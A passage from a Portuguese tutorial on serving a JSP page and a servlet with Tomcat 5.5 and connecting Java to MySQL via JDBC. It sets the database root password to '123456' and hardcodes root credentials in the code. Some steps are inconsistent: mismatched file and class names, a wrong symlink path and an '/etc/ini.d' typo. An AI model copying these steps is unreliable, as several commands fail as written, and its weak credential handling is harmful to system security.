arquivo com &amp;lt;Context path="/" docBase=... informando para qual diretório o tomcat deverá apontar quando não for digitado nada depois da URL.&lt;br /&gt;&lt;br /&gt;Ainda dentro diretório &lt;span style="font-weight:bold;"&gt;/var/www/teste&lt;/span&gt;, crie o arquivo &lt;span style="font-weight:bold;"&gt;index.jsp&lt;/span&gt; e coloque o conteúdo&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;Olá mundo !!!&amp;lt;br&amp;gt;&lt;br /&gt;1 + 1 = ${1+1}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;salve.&lt;br /&gt;Essa será a nossa página.&lt;br /&gt;&lt;br /&gt;Agora entre no diretório &lt;span style="font-weight:bold;"&gt;/usr/share/tomcat5.5/conf/Catalina/localhost/&lt;/span&gt; e crie um link simbólico com o nome de &lt;span style="font-weight:bold;"&gt;teste.xml&lt;/span&gt; para &lt;span style="font-weight:bold;"&gt;/var/www/teste/teste.xml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# cd /usr/share/tomcat5.5/conf/Catalina/localhost/&lt;br /&gt;# ln -s /var/www/teste.xml teste.xml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O tomcat irá ler todos os xml's que estão dentro desta pasta para configurar os acessos as páginas. Nós poderíamos ter criado o arquivo teste.xml direto neste local, mas por questão de organização preferi criá-lo em outro local e fazer um link.&lt;br /&gt;&lt;br /&gt;Reinicie o tomcat e faça o teste acessando a URL localhost:8180/teste&lt;br /&gt;&lt;br /&gt;deverá aparecer o seguinte conteúdo&lt;br /&gt;&lt;br /&gt;Olá mundo !!!&lt;br /&gt;1 + 1 = 2&lt;br /&gt;&lt;br /&gt;Nosso segundo exemplo será a criação de servelet.&lt;br /&gt;&lt;br /&gt;Para isso, criaremos dentro de nosso diretório &lt;span style="font-weight:bold;"&gt;/var/www/teste&lt;/span&gt; o diretório WEB-INF e dentro do diretório &lt;span style="font-weight:bold;"&gt;WEB-INF&lt;/span&gt; crie o diretório classes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# cd /var/www/teste&lt;br /&gt;# mkdir WEB-INF&lt;br /&gt;# mkdir WEB-INF/classes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Dentro do diretório classes criaremos nosso código java. Chamarei de Teste2.java e conterá o seguinte conteúdo.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;import java.io.*;&lt;br /&gt;import javax.servlet.*;&lt;br /&gt;import javax.servlet.http.*;&lt;br /&gt;&lt;br /&gt;public class Teste2 extends HttpServlet&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;public void doGet( HttpServletRequest request, HttpServletResponse response ) throws IOException, ServletException&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response.setContentType("text/html");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PrintWriter out = response.getWriter();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;html&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;body&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;head&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;title&amp;gt;Ola mundo !&amp;lt;/title&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;/head&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;body&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;h1&amp;gt;Ola Mundo!&amp;lt;/h1&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;/body&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println("&amp;lt;/html&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Grave o arquivo.&lt;br /&gt;&lt;br /&gt;Para gerar o arquivo class, precisaríamos do servlet.jar, porém no java 5 o arquivo correto é &lt;span style="font-weight:bold;"&gt;servlet-api.jar&lt;/span&gt;. Procure por esse arquivo em seu micro utilizando o comando find.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# find / -name servlet-api.jar&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;No nosso caso o arquivo foi encontrado no diretório &lt;span style="font-weight:bold;"&gt;/usr/share/java/servlet-api.jar&lt;/span&gt;, então, poderemos compilar nossa servlet com o seguinte comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# javac -classpath /usr/share/java/servlet-api.jar Teste.java&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora nossa classe está pronta.&lt;br /&gt;&lt;br /&gt;Vamos fazer com que possamos acessá-la pela url.&lt;br /&gt;&lt;br /&gt;crie o arquivo &lt;span style="font-weight:bold;"&gt;WEB-INF/web.xml&lt;/span&gt; com o seguinte conteúdo:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="ISO-8859-1"?&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!DOCTYPE web-app&lt;br /&gt;PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"&lt;br /&gt;"http://java.sun.com/dtd/web-app_2_3.dtd"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;web-app&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;display-name&amp;gt;Teste !&amp;lt;/display-name&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;description&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Tetste Ola Mundo !!&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/description&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;servlet&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;servlet-name&amp;gt;teste&amp;lt;/servlet-name&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;servlet-class&amp;gt;Teste&amp;lt;/servlet-class&amp;gt; //Nome da classe a ser acessada&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/servlet&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;servlet-mapping&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;servlet-name&amp;gt;teste&amp;lt;/servlet-name&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;url-pattern&amp;gt;/teste-ola&amp;lt;/url-pattern&amp;gt; // caminho a ser digitado&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/servlet-mapping&amp;gt;&lt;br /&gt;&amp;lt;/web-app&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Reinicie o tomcat.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# /etc/ini.d/tomcat5.5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora, o endereço &lt;span style="font-weight:bold;"&gt;http://localhost:8180/teste&lt;/span&gt; acessará nosso arquivo jsp e o endereço &lt;span style="font-weight:bold;"&gt;http://localhost:8180/teste/teste-ola&lt;/span&gt; acessará nosso servlet.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Conectando ao mysql&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Vamos começar de forma diferente esse item. Começaremos criando o código para acessar as tabelas mysql e em seguida iremos corrigindo os erros conforme forem aparecendo.&lt;br /&gt;&lt;br /&gt;Considerarei que o mysql acabou de ser instalado, logo, encontra-se sem banco, tabelas, senha etc.&lt;br /&gt;&lt;br /&gt;Criando a senha do root como 123456:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# mysqladmin -u root password 123456&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Entrando no mysql&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# mysql -u root -p&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Basta digitar a senha criada.&lt;br /&gt;&lt;br /&gt;Confirmando se existe banco de dados criado.&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; show databases;&lt;br /&gt;&lt;br /&gt;Se aparecer empty é porque está vazio.&lt;br /&gt;&lt;br /&gt;Criando o banco de dados DBTeste&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; create database dbTeste;&lt;br /&gt;&lt;br /&gt;Confirmando se criou.&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; show databases;&lt;br /&gt;&lt;br /&gt;+-------------------------+&lt;br /&gt;| Database |&lt;br /&gt;+-------------------------+&lt;br /&gt;| dbTeste |&lt;br /&gt;+-------------------------+&lt;br /&gt;&lt;br /&gt;Acessando o Banco:&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; use dbTeste&lt;br /&gt;&lt;br /&gt;Crinando uma tabela (tbTeste) com apenas um registro (codteste) para podermos testar.&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; create table tbTeste (codteste integer);&lt;br /&gt;&lt;br /&gt;Verificando se a tabela foi criada.&lt;br /&gt;mysql&amp;gt; show tables;&lt;br /&gt;+-------------------+&lt;br /&gt;| Tables_in_dbTeste |&lt;br /&gt;+-------------------+&lt;br /&gt;| tbTeste |&lt;br /&gt;+-------------------+&lt;br /&gt;&lt;br /&gt;Inserindo registros na tabela.&lt;br /&gt;mysql&amp;gt; insert into tbTeste (codteste) value (1);&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; insert into tbTeste (codteste) value (7);&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; insert into tbTeste (codteste) value (17);&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; insert into tbTeste (codteste) value (37);&lt;br /&gt;&lt;br /&gt;Listando para saber se os registros realmente foram inseridos de forma correta.&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; select * from tbTeste;&lt;br /&gt;+----------+&lt;br /&gt;| codteste |&lt;br /&gt;+----------+&lt;br /&gt;| 1 |&lt;br /&gt;| 7 |&lt;br /&gt;| 17 |&lt;br /&gt;| 37 |&lt;br /&gt;+----------+&lt;br /&gt;&lt;br /&gt;Beleza, nossa base está pronta para ser usada. Vamos sair.&lt;br /&gt;&lt;br /&gt;mysql&amp;gt; exit&lt;br /&gt;&lt;br /&gt;Agora, criaremos nosso código em java para testarmos a conexão com a base de dados.&lt;br /&gt;&lt;br /&gt;Crie um arquivo com o nome OlaBase.java, em qualquer diretório, apenas para teste, e inclua o conteúdo a seguir.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;import java.sql.*;&lt;br /&gt;public class OlaBase&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;public static void main (String args[])&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;String url = "jdbc:mysql://localhost:3306/dbTeste"; //string de conexão a base dbTeste&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;String user = "root"; //usuário da base de dados&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;String pwd = "123456";//senha do usuário criado&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Class.forName("com.mysql.jdbc.Driver");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println("\nDrive carregado com sucesso!!!\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Connection cn = DriverManager.getConnection(url, user, pwd);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println("\nConexao estabelecida!!!\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;String sql = "select * from tbTeste";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Statement stm = cn.createStatement();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ResultSet rs = stm.executeQuery(sql);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (rs.next())&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println("\n" + rs.getString("codteste") + "\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch (Exception ex)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println("\nErro no Select!!!\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch (Exception ex)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println("\nErro na conexao!!!\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch (ClassNotFoundException ex)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println("Erro na conexao com a base de dados!!!");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ex.printStackTrace();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch (Exception ex)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println("Drive nao pode ser carregado!!!");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.out.println("Olá Base!!!");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Agora vamos compilar.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# javac OlaBase.java&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Tudo deverá ocorrer OK. Então, vamos executar.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# java OlaBase&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Devera aparecer a seguinte saída.&lt;br /&gt;&lt;br /&gt;Erro na conexao com a base de dados!!!&lt;br /&gt;&lt;br /&gt;java.lang.ClassNotFoundException: com.mysql.jdbc.Driver&lt;br /&gt;at java.net.URLClassLoader$1.run(URLClassLoader.java:200)&lt;br /&gt;at java.security.AccessController.doPrivileged(Native Method)&lt;br /&gt;at java.net.URLClassLoader.findClass(URLClassLoader.java:188)&lt;br /&gt;at java.lang.ClassLoader.loadClass(ClassLoader.java:306)&lt;br /&gt;at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:268)&lt;br /&gt;at java.lang.ClassLoader.loadClass(ClassLoader.java:251)&lt;br /&gt;at java.lang.ClassLoader.loadClassInternal(ClassLoader.java:319)&lt;br /&gt;at java.lang.Class.forName0(Native Method)&lt;br /&gt;at java.lang.Class.forName(Class.java:164)&lt;br /&gt;at OlaBase.main(OlaBase.java:11)&lt;br /&gt;Ola Base!!!&lt;br /&gt;&lt;br /&gt;Vimos nesta saída que o drive não foi encontrado &lt;span style="font-weight:bold;"&gt;(ClassNotFoundException: com.mysql.jdbc.Driver&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;Então, vamos instalar o drive para mysql.&lt;br /&gt;Primeiro, vamos ver se ele exeiste em nossa máquina.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# find / -name "mysql-connect*"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Se não retornar nenhum arquivo, vamos a instalação de drive.&lt;br /&gt;Vamos ver se existe algum pacote para podermos instalarmos via apt-get.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-cache search jdbc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Aparecerá a seguinte lista de pacotes.&lt;br /&gt;&lt;br /&gt;haskell-hsql-doc - Multi-Database Interface System for Haskell&lt;br /&gt;henplus - JDBC SQL commandline frontend with TAB-completion&lt;br /&gt;hsqldb-server - Java SQL database server&lt;br /&gt;libghc6-hdbc-dev - Haskell Database Connectivity, GHC6 package&lt;br /&gt;libghc6-hsql-dev - Multi-Database Interface System for Haskell&lt;br /&gt;libghc6-hsql-mysql-dev - Multi-Database Interface System for Haskell&lt;br /&gt;libghc6-hsql-odbc-dev - Multi-Database Interface System for Haskell&lt;br /&gt;libghc6-hsql-postgresql-dev - Multi-Database Interface System for Haskell&lt;br /&gt;libghc6-hsql-sqlite-dev - Multi-Database Interface System for Haskell&lt;br /&gt;libghc6-hsql-sqlite3-dev - Multi-Database Interface System for Haskell&lt;br /&gt;libhsqldb-java - Java SQL database engine&lt;br /&gt;libhsqldb-java-doc - documentation for HSQLDB&lt;br /&gt;libhugs-hdbc - Haskell Database Connectivity, Hugs package&lt;br /&gt;liblog4j1.2-java - Logging library for java&lt;br /&gt;&lt;span style="font-style:italic;"&gt;libmysql-java - Java database (JDBC) driver for MySQL&lt;/span&gt;&lt;br /&gt;libodbc++-dev - C++ library for ODBC SQL database access&lt;br /&gt;libodbc++-doc - C++ library for ODBC SQL database access&lt;br /&gt;libodbc++4 - C++ library for ODBC SQL database access&lt;br /&gt;libpg-java - Java database (JDBC) driver for PostgreSQL&lt;br /&gt;libpgjava - Java database (JDBC) driver for PostgreSQL - transitional package&lt;br /&gt;libpostgis-java - geographic objects support for PostgreSQL -- JDBC support&lt;br /&gt;libsapdbc-java - JDBC interface to the MaxDB database system&lt;br /&gt;libstruts1.2-java - Java Framework for MVC web applications&lt;br /&gt;openoffice.org-base - OpenOffice.org office suite - database&lt;br /&gt;postgresql-contrib-7.4 - additional facilities for PostgreSQL&lt;br /&gt;&lt;br /&gt;No nosso caso queremos a "libmysql-java - Java database (JDBC) driver for MySQL". Então, vamos instalar.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# apt-get install libmysql-java&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Após a instalação, vamos conferir se o arquivo .jar passou a existir.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# find / -name "mysql-connect*"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora aparecerá o arquivo, no meu caso o resultado da busca foi:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;/usr/share/java/mysql-connector-java-5.0.4.jar&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Então, basta colocar esse arquivo no classpath.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# export CLASSPATH=$CLASSPATH:"/usr/share/java/mysql-connector-java-5.0.4.jar"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora, tente executar o nosso programa.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;# java OlaBase&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O resultado será:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Drive carregado com sucesso!!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Conexao estabelecida!!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;17&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;37&lt;br /&gt;&lt;br /&gt;Ola Base!!!&lt;br /&gt;&lt;br /&gt;Pronto, a conexão com a base de dados foi estabelecida.&lt;br /&gt;&lt;br /&gt;Claro que a variável &lt;span style="font-weight:bold;"&gt;CLASSPATH&lt;/span&gt; não continuará não valerá quando reiniciarmos a máquina. Mas para resolver o problema, basta adicionar a linha no final do arquivo &lt;span style="font-weight:bold;"&gt;/etc/profile&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;echo "export CLASSPATH=\$CLASSPATH:"/usr/share/java/mysql-connector-java.jar"" &amp;gt;&amp;gt; /etc/profile&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora, vamos voltar nosso arquivo &lt;span style="font-weight:bold;"&gt;index.jsp&lt;/span&gt; no diretório&lt;span style="font-weight:bold;"&gt; /var/www/teste&lt;/span&gt; e vamos fazer a alteração abaixo, para conectar a base de dados. Basta incluir no final de nosso arquivo o código:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;&amp;lt;%&lt;br /&gt;try&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Class.forName("com.mysql.jdbc.Driver");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println ("&amp;lt;br&amp;gt;Drive encontrado!!!");&lt;br /&gt;}&lt;br /&gt;catch (ClassNotFoundException ex)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;out.println ("&amp;lt;br&amp;gt;Erro drive&amp;lt;br&amp;gt;");&lt;br 